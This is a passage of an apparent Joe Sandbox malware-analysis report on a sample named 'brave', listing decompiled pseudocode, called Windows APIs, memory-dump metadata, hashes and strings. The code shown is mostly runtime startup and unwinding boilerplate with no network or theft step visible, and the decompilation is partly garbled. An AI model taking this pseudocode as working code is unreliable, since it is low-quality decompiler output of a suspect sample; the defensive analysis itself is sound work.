}, xrefs: 00007FF77BEE36FC
y, xrefs: 00007FF77BEE34E9
KF , xrefs: 00007FF77BEE385B

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: strcmp$_stricmp
String ID: KF $y$}
API String ID: 3398372305-1747734038
Opcode ID: 2ee6c4bc9c73bbe018eb2e9c596121fa35c4079898e358f7aeca13623c809fb1
Instruction ID: 4b8a2e31105689b15db95bbd20d531a92ab0960341d01ba5e3344257011b762e
Opcode Fuzzy Hash: 2ee6c4bc9c73bbe018eb2e9c596121fa35c4079898e358f7aeca13623c809fb1
Instruction Fuzzy Hash: 31228073A38BC185FB629B29E4053AAB7A0FB55B84F848171DA8C4776ADF7CD144C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE1190 Relevance: 10.7, APIs: 7, Instructions: 201
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E00007FF77FF77BEE1190(void* __edi, void* __esp) {
				void* _v120;
				char _v168;
				int _t26;
				void* _t27;
				_Unknown_base(*)()* _t29;
				void* _t31;
				void* _t37;
				signed int _t38;
				void* _t40;
				void* _t41;
				void* _t55;
				intOrPtr* _t73;
				long long _t74;
				intOrPtr* _t75;
				intOrPtr _t76;
				short* _t80;
				intOrPtr* _t82;
				long long _t83;
				intOrPtr _t98;
				long long* _t100;
				intOrPtr _t106;
				intOrPtr* _t109;
				intOrPtr* _t111;
				signed int* _t112;
				long long _t117;
				intOrPtr _t121;
				signed long long _t124;

				_t112 =  *0x7c1969e0; // 0x7ff77c1a10e0
				asm("push cs");
				_t27 = memset(__edi, _t26, _t38 << 0);
				if (r9d != 0) goto 0x7bee148b;
				_t122 = Sleep;
				goto 0x7bee11f9;
				if ( *((intOrPtr*)( *[gs:0x30] + 8)) ==  *[gs:0x30]) goto 0x7bee1434;
				asm("lock dec eax");
				if (0 != 0) goto 0x7bee11e8;
				_t109 =  *0x7c196910; // 0x7ff77c1a1098
				if ( *_t109 == 1) goto 0x7bee144b;
				if ( *_t109 == 0) goto 0x7bee14b4;
				 *0x7c1a101c = 1;
				if ( *_t109 == 1) goto 0x7bee1460;
				if (0 == 0) goto 0x7bee1481;
				_t73 =  *0x7c196870; // 0x7ff77c195a40
				_t74 =  *_t73;
				if (_t74 == 0) goto 0x7bee125c;
				r8d = 0;
				E00007FF77FF77BEEE830(_t27);
				_t29 = SetUnhandledExceptionFilter(??);
				_t100 =  *0x7c1968f0; // 0x7ff77c1a1120
				 *_t100 = _t74;
				_t31 = E00007FF77FF77BEEE640(E00007FF77FF77BF01D80(_t29, 0x7ff77bee1000));
				_t75 =  *0x7c196890; // 0x7ff77bee0000
				 *0x7c1a1010 = _t75;
				E00007FF77FF77BF01E70(_t31);
				_t76 =  *_t75;
				if (_t76 != 0) goto 0x7bee12c3;
				goto 0x7bee1308;
				_t55 = _t41;
				if (_t55 == 0) goto 0x7bee12dd;
				if (_t55 == 0) goto 0x7bee12dd;
				if (_t41 - 0x20 <= 0) goto 0x7bee12b0;
				r8d = 0;
				r8d = r8d ^ 0x00000001;
				_t40 =  ==  ? r8d : 0;
				goto 0x7bee12bf;
				if (_t41 - 0x1f > 0) goto 0x7bee1301;
				asm("o16 nop [cs:eax+eax]");
				if (_t41 - 0x1f <= 0) goto 0x7bee12f0;
				 *0x7c1a1008 = _t76 + 2;
				r8d =  *_t112;
				if (r8d == 0) goto 0x7bee1326;
				 *_t109 =  *_t109 + 0x1;
				 *0xa =  *0xa + 0xa;
				 *0x2C08348031CDA06 =  *((intOrPtr*)(0x2c08348031cda06)) + _t40;
				 *((intOrPtr*)(( *(_t76 + 2) & 0x0000ffff) + 0x25)) =  *((intOrPtr*)(( *(_t76 + 2) & 0x0000ffff) + 0x25)) + _t40;
				_t13 = _t122 + 1; // 0x7ff898063ca1
				r13d = _t13;
				_t124 = r13d << 3;
				malloc(??);
				_t111 =  *0x7c1a1030; // 0x12490a517f0
				_t117 = 0xa -  *0xa;
				if (r12d <= 0) goto 0x7bee13ab;
				asm("o16 nop [eax+eax]");
				_t80 =  *_t111;
				if ( *_t80 == 0) goto 0x7bee1420;
				r8d = 1;
				if ( *((short*)(_t80 + ( &_v168 + 1) * 2 - 2)) != 0) goto 0x7bee1370;
				malloc(??);
				 *_t117 = _t80;
				memcpy(??, ??, ??);
				if (Sleep != 1) goto 0x7bee1358;
				_t25 = _t124 - 8; // -8
				 *((long long*)(_t117 + _t25)) = 0;
				 *0x7c1a1030 = _t117; // executed
				E00007FF77FF77BEEE430();
				_t82 =  *0x7c1968a0; // 0x7ff77c1a2708
				_t121 =  *0x7c1a1028; // 0x12490a56800
				_t83 =  *_t82;
				 *_t83 = _t121;
				_t37 = E00007FF77FF77BEE1770(_t83);
				_t98 =  *0x7c1a1020; // 0x0
				 *0x7c1a1024 = _t83;
				if (_t98 == 0) goto 0x7bee14d2;
				_t106 =  *0x7c1a101c; // 0x0
				if (_t106 == 0) goto 0x7bee1499;
				return _t37;
			}

0x7ff77bee119f
0x7ff77bee11af
0x7ff77bee11b8
0x7ff77bee11be
0x7ff77bee11da
0x7ff77bee11e1
0x7ff77bee11eb
0x7ff77bee11fc
0x7ff77bee1204
0x7ff77bee1206
0x7ff77bee1214
0x7ff77bee121e
0x7ff77bee1224
0x7ff77bee1233
0x7ff77bee123b
0x7ff77bee1241
0x7ff77bee1248
0x7ff77bee124e
0x7ff77bee1250
0x7ff77bee125c
0x7ff77bee1268
0x7ff77bee126e
0x7ff77bee127c
0x7ff77bee1284
0x7ff77bee1289
0x7ff77bee1290
0x7ff77bee1297
0x7ff77bee129e
0x7ff77bee12a4
0x7ff77bee12a6
0x7ff77bee12b0
0x7ff77bee12b3
0x7ff77bee12b8
0x7ff77bee12ca
0x7ff77bee12cc
0x7ff77bee12cf
0x7ff77bee12d7
0x7ff77bee12db
0x7ff77bee12e4
0x7ff77bee12e6
0x7ff77bee12ff
0x7ff77bee1301
0x7ff77bee1308
0x7ff77bee130e
0x7ff77bee1319
0x7ff77bee131d
0x7ff77bee131f
0x7ff77bee1325
0x7ff77bee132d
0x7ff77bee132d
0x7ff77bee1335
0x7ff77bee133c
0x7ff77bee1341
0x7ff77bee1348
0x7ff77bee134e
0x7ff77bee1352
0x7ff77bee1358
0x7ff77bee1360
0x7ff77bee1366
0x7ff77bee137b
0x7ff77bee1384
0x7ff77bee138c
0x7ff77bee139c
0x7ff77bee13a4
0x7ff77bee13a6
0x7ff77bee13ab
0x7ff77bee13b2
0x7ff77bee13b9
0x7ff77bee13be
0x7ff77bee13c5
0x7ff77bee13d2
0x7ff77bee13d5
0x7ff77bee13df
0x7ff77bee13e4
0x7ff77bee13ea
0x7ff77bee13f2
0x7ff77bee13f8
0x7ff77bee1400
0x7ff77bee1415

APIs

Sleep.KERNEL32 ref: 00007FF77BEE11F6
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF77BEE1268
malloc.MSVCRT ref: 00007FF77BEE133C
malloc.MSVCRT ref: 00007FF77BEE1384
memcpy.MSVCRT ref: 00007FF77BEE139C
GetStartupInfoW.KERNEL32 ref: 00007FF77BEE148E

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpy
String ID:
API String ID: 772431862-0
Opcode ID: b2d9a06e854fcc7941f146e7b2ca8cb19feb9d16126c8bb203fffc16eade9bbd
Instruction ID: b7b295f3e0a5db803e53392074b52a3746bc3811ab2cddfef1417701e5d8f980
Opcode Fuzzy Hash: b2d9a06e854fcc7941f146e7b2ca8cb19feb9d16126c8bb203fffc16eade9bbd
Instruction Fuzzy Hash: FA914D77E3964685FB60BB59E94077DB2A1BF48B80FC44075DA0D437A9DF6CE4809321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEE43C0 Relevance: 4.6, APIs: 3, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF77BEE39D0: wcslen.MSVCRT ref: 00007FF77BEE3A58
Part of subcall function 00007FF77BEE39D0: wcslen.MSVCRT ref: 00007FF77BEE3AE6

GetFileSize.KERNEL32 ref: 00007FF77BEE43FB
GetProcessHeap.KERNEL32 ref: 00007FF77BEE4406
HeapAlloc.KERNEL32 ref: 00007FF77BEE4414

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Heapwcslen$AllocFileProcessSize
String ID:
API String ID: 3094376029-0
Opcode ID: 3d5b48eb9b3e7e3b2364000fd34fdbce8f759ff65041957a3ecc5a79dd1d4c59
Instruction ID: f541ca40e10b51be02525d0deb1c0f5c15ab8fdcc36c8c5545bec02ef7cfba6f
Opcode Fuzzy Hash: 3d5b48eb9b3e7e3b2364000fd34fdbce8f759ff65041957a3ecc5a79dd1d4c59
Instruction Fuzzy Hash: 8411B137B24A1445EB11AB65B81574BA290BB88BBCFC40231DE5D037A8EFBC8485C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF12490 Relevance: 1.4, APIs: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF77BF12490() {
				long long _v296;
				void* _t121;
				void* _t122;
				int _t125;
				int _t129;
				int _t133;
				int _t137;
				int _t141;
				long long* _t167;
				void* _t183;
				void* _t184;
				int _t194;
				void* _t218;
				void* _t240;
				int _t241;
				int _t242;
				int _t243;
				int _t244;
				int _t245;
				int _t250;

				 *0xFFC8EB880000003A =  *((long long*)(0xffc8eb880000003a)) - 1;
				_t241 = _t125;
				E00007FF77FF77BF0A110(_t125, _t218);
				E00007FF77FF77BF12160(_t121, _t122, _t125, _t183, _t241, 0x7c196bb0, 0x7ff77bf0a230, _t240, _t241, _t184);
				E00007FF77FF77BF11CF0(_t241);
				E00007FF77FF77BEEFEC0();
				_t129 = _t125;
				_push(_t125);
				_push(_t241);
				 *0xFFC75B880000003A =  *((long long*)(0xffc75b880000003a)) - 1;
				_t242 = _t129;
				E00007FF77FF77BF0A290(_t129, 0x7c196bb0);
				E00007FF77FF77BF12160(_t121, _t122, _t129, _t183, _t242, 0x7c196bd0, 0x7ff77bf0a3b0, _t240, _t242, _t125);
				_t250 = _t129;
				E00007FF77FF77BF11CF0(_t242);
				_t194 = _t250;
				E00007FF77FF77BEEFEC0();
				_t133 = _t129;
				_push(_t250);
				_push(_t242);
				 *0xFFC5CB880000003A =  *((long long*)(0xffc5cb880000003a)) - 1;
				_t243 = _t133;
				E00007FF77FF77BF0A7A0(_t133, 0x7c196bd0);
				E00007FF77FF77BF12160(_t121, _t122, _t133, _t183, _t243, 0x7c196c10, 0x7ff77bf0a8d0, _t240, _t243, _t194);
				E00007FF77FF77BF11CF0(_t243);
				E00007FF77FF77BEEFEC0();
				_t137 = _t133;
				_push(_t133);
				_push(_t243);
				 *0xFFC43B880000003A =  *((long long*)(0xffc43b880000003a)) - 1;
				_t244 = _t137;
				E00007FF77FF77BF09850(_t137, 0x7c196c10);
				E00007FF77FF77BF12160(_t121, _t122, _t137, _t183, _t244, 0x7c196b70, 0x7ff77bf09970, _t240, _t244, _t133);
				E00007FF77FF77BF11CF0(_t244);
				E00007FF77FF77BEEFEC0();
				_t141 = _t137;
				_push(_t137);
				_push(_t244);
				 *0xFFC2AB880000003A =  *((long long*)(0xffc2ab880000003a)) - 1;
				_t245 = _t141;
				E00007FF77FF77BF0A970(_t141, 0x7c196b70);
				E00007FF77FF77BF12160(_t121, _t122, _t141, _t183, _t245, 0x7c196c30, 0x7ff77bf0aa90, _t240, _t245, _t137);
				E00007FF77FF77BF11CF0(_t245);
				E00007FF77FF77BEEFEC0();
				_t145 = _t141;
				_push(_t141);
				 *0xFFC11B880000003A =  *((long long*)(0xffc11b880000003a)) - 1;
				E00007FF77FF77BF0AAF0(_t141, 0x7c196c30);
				E00007FF77FF77BF12160(_t121, _t122, _t141, _t183, _t145, 0x7c196c50, 0x7ff77bf0ac10, _t240, _t141, _t141);
				E00007FF77FF77BF11CF0(_t141);
				E00007FF77FF77BEEFEC0();
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				_v296 = 0;
				asm("ud2");
				E00007FF77FF77BEF0980(0x7c192d20, 0);
				_t167 =  *0x10 + 0x24000028;
				 *_t167 =  *_t167 + _t167; // executed
				malloc(_t245); // executed
				 *0x7c192d30 = _t167;
				if (_t167 == 0) goto 0x7bf12789;
				 *0x7c192d28 = _t167;
				 *_t167 = 0x12400;
				 *((long long*)(_t167 + 8)) = 0;
				goto E00007FF77FF77BEE1520;
				 *0x7c192d38 = 0;
				 *0x7c192d28 = 0;
				goto 0x7bf12779;
			}

0x7ff77bf124a4
0x7ff77bf124ab
0x7ff77bf124ae
0x7ff77bf124c4
0x7ff77bf124cf
0x7ff77bf124d7
0x7ff77bf124df
0x7ff77bf124e0
0x7ff77bf124e2
0x7ff77bf124f4
0x7ff77bf124fb
0x7ff77bf124fe
0x7ff77bf12514
0x7ff77bf12519
0x7ff77bf1251f
0x7ff77bf12524
0x7ff77bf12527
0x7ff77bf1252f
0x7ff77bf12530
0x7ff77bf12532
0x7ff77bf12544
0x7ff77bf1254b
0x7ff77bf1254e
0x7ff77bf12564
0x7ff77bf1256f
0x7ff77bf12577
0x7ff77bf1257f
0x7ff77bf12580
0x7ff77bf12582
0x7ff77bf12594
0x7ff77bf1259b
0x7ff77bf1259e
0x7ff77bf125b4
0x7ff77bf125bf
0x7ff77bf125c7
0x7ff77bf125cf
0x7ff77bf125d0
0x7ff77bf125d2
0x7ff77bf125e4
0x7ff77bf125eb
0x7ff77bf125ee
0x7ff77bf12604
0x7ff77bf1260f
0x7ff77bf12617
0x7ff77bf1261f
0x7ff77bf12620
0x7ff77bf12634
0x7ff77bf1263e
0x7ff77bf12654
0x7ff77bf1265f
0x7ff77bf12667
0x7ff77bf12670
0x7ff77bf12681
0x7ff77bf12683
0x7ff77bf12694
0x7ff77bf12696
0x7ff77bf126a7
0x7ff77bf126a9
0x7ff77bf126ba
0x7ff77bf126bc
0x7ff77bf126c7
0x7ff77bf126c9
0x7ff77bf126da
0x7ff77bf126dc
0x7ff77bf126ed
0x7ff77bf126ef
0x7ff77bf12700
0x7ff77bf12702
0x7ff77bf12713
0x7ff77bf12715
0x7ff77bf12726
0x7ff77bf1273d
0x7ff77bf1274b
0x7ff77bf12750
0x7ff77bf12752
0x7ff77bf12757
0x7ff77bf12761
0x7ff77bf12763
0x7ff77bf1276a
0x7ff77bf12771
0x7ff77bf12784
0x7ff77bf12789
0x7ff77bf12794
0x7ff77bf1279f

APIs

Part of subcall function 00007FF77BF119A0: malloc.MSVCRT(?,?,?,?,00007FF77BF123B5,?,?,?,?,00007FF77BEE3C24), ref: 00007FF77BF119B1

Part of subcall function 00007FF77BF0A110: strlen.MSVCRT ref: 00007FF77BF0A13B

Part of subcall function 00007FF77BEEFEC0: RtlCaptureContext.KERNEL32 ref: 00007FF77BEEFF45
Part of subcall function 00007FF77BEEFEC0: RtlUnwindEx.KERNEL32 ref: 00007FF77BEEFF63
Part of subcall function 00007FF77BEEFEC0: abort.MSVCRT ref: 00007FF77BEEFF69

Part of subcall function 00007FF77BF0A290: strlen.MSVCRT ref: 00007FF77BF0A2BB

Part of subcall function 00007FF77BF0A7A0: strlen.MSVCRT ref: 00007FF77BF0A7CB

Part of subcall function 00007FF77BF09850: strlen.MSVCRT ref: 00007FF77BF0987B

Part of subcall function 00007FF77BF0A970: strlen.MSVCRT ref: 00007FF77BF0A99B

Part of subcall function 00007FF77BF0AAF0: strlen.MSVCRT ref: 00007FF77BF0AB1B

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: strlen$malloc$CaptureContextUnwindabort
String ID:
API String ID: 3412053993-0
Opcode ID: 615cb4ee418670568aa1e261e6448711ea95e765688d72287fd38c76572a1b4f
Instruction ID: bf1f43cda3af7aced01b22e5f92b56b40610e7a0dc212fd843d3625e96b34c2d
Opcode Fuzzy Hash: 615cb4ee418670568aa1e261e6448711ea95e765688d72287fd38c76572a1b4f
Instruction Fuzzy Hash: 22614632A3968680FA14BB5ABC553B6A361BB86FC9FC01831ED4D17376DE7CE1448364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF12530 Relevance: 1.4, APIs: 1, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00007FF77FF77BF12530() {
				long long _v184;
				void* _t93;
				void* _t94;
				int _t96;
				int _t100;
				int _t104;
				long long* _t130;
				void* _t146;
				void* _t147;
				void* _t171;
				void* _t187;
				int _t188;
				int _t189;
				int _t190;

				 *0xFFC5CB880000003A =  *((long long*)(0xffc5cb880000003a)) - 1;
				_t188 = _t96;
				E00007FF77FF77BF0A7A0(_t96, _t171);
				E00007FF77FF77BF12160(_t93, _t94, _t96, _t146, _t188, 0x7c196c10, 0x7ff77bf0a8d0, _t187, _t188, _t147);
				E00007FF77FF77BF11CF0(_t188);
				E00007FF77FF77BEEFEC0();
				_t100 = _t96;
				_push(_t96);
				_push(_t188);
				 *0xFFC43B880000003A =  *((long long*)(0xffc43b880000003a)) - 1;
				_t189 = _t100;
				E00007FF77FF77BF09850(_t100, 0x7c196c10);
				E00007FF77FF77BF12160(_t93, _t94, _t100, _t146, _t189, 0x7c196b70, 0x7ff77bf09970, _t187, _t189, _t96);
				E00007FF77FF77BF11CF0(_t189);
				E00007FF77FF77BEEFEC0();
				_t104 = _t100;
				_push(_t100);
				_push(_t189);
				 *0xFFC2AB880000003A =  *((long long*)(0xffc2ab880000003a)) - 1;
				_t190 = _t104;
				E00007FF77FF77BF0A970(_t104, 0x7c196b70);
				E00007FF77FF77BF12160(_t93, _t94, _t104, _t146, _t190, 0x7c196c30, 0x7ff77bf0aa90, _t187, _t190, _t100);
				E00007FF77FF77BF11CF0(_t190);
				E00007FF77FF77BEEFEC0();
				_t108 = _t104;
				_push(_t104);
				 *0xFFC11B880000003A =  *((long long*)(0xffc11b880000003a)) - 1;
				E00007FF77FF77BF0AAF0(_t104, 0x7c196c30);
				E00007FF77FF77BF12160(_t93, _t94, _t104, _t146, _t108, 0x7c196c50, 0x7ff77bf0ac10, _t187, _t104, _t104);
				E00007FF77FF77BF11CF0(_t104);
				E00007FF77FF77BEEFEC0();
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				 *0 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				_v184 = 0;
				asm("ud2");
				E00007FF77FF77BEF0980(0x7c192d20, 0);
				_t130 =  *0x10 + 0x24000028;
				 *_t130 =  *_t130 + _t130; // executed
				malloc(_t190); // executed
				 *0x7c192d30 = _t130;
				if (_t130 == 0) goto 0x7bf12789;
				 *0x7c192d28 = _t130;
				 *_t130 = 0x12400;
				 *((long long*)(_t130 + 8)) = 0;
				goto E00007FF77FF77BEE1520;
				 *0x7c192d38 = 0;
				 *0x7c192d28 = 0;
				goto 0x7bf12779;
			}

0x7ff77bf12544
0x7ff77bf1254b
0x7ff77bf1254e
0x7ff77bf12564
0x7ff77bf1256f
0x7ff77bf12577
0x7ff77bf1257f
0x7ff77bf12580
0x7ff77bf12582
0x7ff77bf12594
0x7ff77bf1259b
0x7ff77bf1259e
0x7ff77bf125b4
0x7ff77bf125bf
0x7ff77bf125c7
0x7ff77bf125cf
0x7ff77bf125d0
0x7ff77bf125d2
0x7ff77bf125e4
0x7ff77bf125eb
0x7ff77bf125ee
0x7ff77bf12604
0x7ff77bf1260f
0x7ff77bf12617
0x7ff77bf1261f
0x7ff77bf12620
0x7ff77bf12634
0x7ff77bf1263e
0x7ff77bf12654
0x7ff77bf1265f
0x7ff77bf12667
0x7ff77bf12670
0x7ff77bf12681
0x7ff77bf12683
0x7ff77bf12694
0x7ff77bf12696
0x7ff77bf126a7
0x7ff77bf126a9
0x7ff77bf126ba
0x7ff77bf126bc
0x7ff77bf126c7
0x7ff77bf126c9
0x7ff77bf126da
0x7ff77bf126dc
0x7ff77bf126ed
0x7ff77bf126ef
0x7ff77bf12700
0x7ff77bf12702
0x7ff77bf12713
0x7ff77bf12715
0x7ff77bf12726
0x7ff77bf1273d
0x7ff77bf1274b
0x7ff77bf12750
0x7ff77bf12752
0x7ff77bf12757
0x7ff77bf12761
0x7ff77bf12763
0x7ff77bf1276a
0x7ff77bf12771
0x7ff77bf12784
0x7ff77bf12789
0x7ff77bf12794
0x7ff77bf1279f

APIs

Part of subcall function 00007FF77BF119A0: malloc.MSVCRT(?,?,?,?,00007FF77BF123B5,?,?,?,?,00007FF77BEE3C24), ref: 00007FF77BF119B1

Part of subcall function 00007FF77BF0A7A0: strlen.MSVCRT ref: 00007FF77BF0A7CB

Part of subcall function 00007FF77BEEFEC0: RtlCaptureContext.KERNEL32 ref: 00007FF77BEEFF45
Part of subcall function 00007FF77BEEFEC0: RtlUnwindEx.KERNEL32 ref: 00007FF77BEEFF63
Part of subcall function 00007FF77BEEFEC0: abort.MSVCRT ref: 00007FF77BEEFF69

Part of subcall function 00007FF77BF09850: strlen.MSVCRT ref: 00007FF77BF0987B

Part of subcall function 00007FF77BF0A970: strlen.MSVCRT ref: 00007FF77BF0A99B

Part of subcall function 00007FF77BF0AAF0: strlen.MSVCRT ref: 00007FF77BF0AB1B

malloc.MSVCRT ref: 00007FF77BF12752

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: strlen$malloc$CaptureContextUnwindabort
String ID:
API String ID: 3412053993-0
Opcode ID: 04dbb56ecb3b0ba340dc4664034811b6863cbae9e0344c0919a0919577745e17
Instruction ID: f377f3869036b43f60da682d07db899f7b869521634854f741f9914292af194e
Opcode Fuzzy Hash: 04dbb56ecb3b0ba340dc4664034811b6863cbae9e0344c0919a0919577745e17
Instruction Fuzzy Hash: DA514932A3968680F614BB5AFC553B6A361BB85BC9FC01835ED8D073B6DE7CE1448364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF7060 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 157
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF77BEF7068
CreateMutexA.KERNEL32 ref: 00007FF77BEF7177
WaitForSingleObject.KERNEL32 ref: 00007FF77BEF7188
FindAtomA.KERNEL32 ref: 00007FF77BEF719D
AddAtomA.KERNEL32 ref: 00007FF77BEF71DD
_onexit.MSVCRT ref: 00007FF77BEF71FA
ReleaseMutex.KERNEL32 ref: 00007FF77BEF7202
CloseHandle.KERNEL32 ref: 00007FF77BEF720B

Strings

FeLhAaAa__shmem3_winpthreads_tdm_, xrefs: 00007FF77BEF706E, 00007FF77BEF712F
__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAAAAAaaaaaAAaAaaaaAaAaaaaaaaaa, xrefs: 00007FF77BEF70DB, 00007FF77BEF7196, 00007FF77BEF71D6, 00007FF77BEF7227
aaaaaaaa, xrefs: 00007FF77BEF7114
failed to add string to atom table, xrefs: 00007FF77BEF72C3
